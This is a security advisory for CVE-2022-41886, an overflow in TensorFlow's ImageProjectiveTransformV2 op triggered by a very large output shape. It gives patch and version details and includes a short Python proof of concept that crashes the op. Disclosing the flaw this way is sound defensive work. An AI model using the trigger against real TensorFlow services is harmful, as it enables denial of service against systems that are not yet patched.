CVE-2022-41886

MEDIUM4.8EPSS 0.15%

Overflow in `ImageProjectiveTransformV2`

Published: 11/21/2022Modified: 12/6/2023
Also known as:GHSA-54pp-c6pp-7fpxBIT-tensorflow-2022-41886

Description

### Impact When [`tf.raw_ops.ImageProjectiveTransformV2`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image_ops.cc) is given a large output shape, it overflows. ```python import tensorflow as tf interpolation = "BILINEAR" fill_mode = "REFLECT" images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32) transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32) output_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32) tf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode) ``` ### Patches We have patched the issue in GitHub commit [8faa6ea692985dbe6ce10e1a3168e0bd60a723ba](https://github.com/tensorflow/tensorflow/commit/8faa6ea692985dbe6ce10e1a3168e0bd60a723ba). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Affected packages (4)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1MEDIUM4.8CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H

References (5)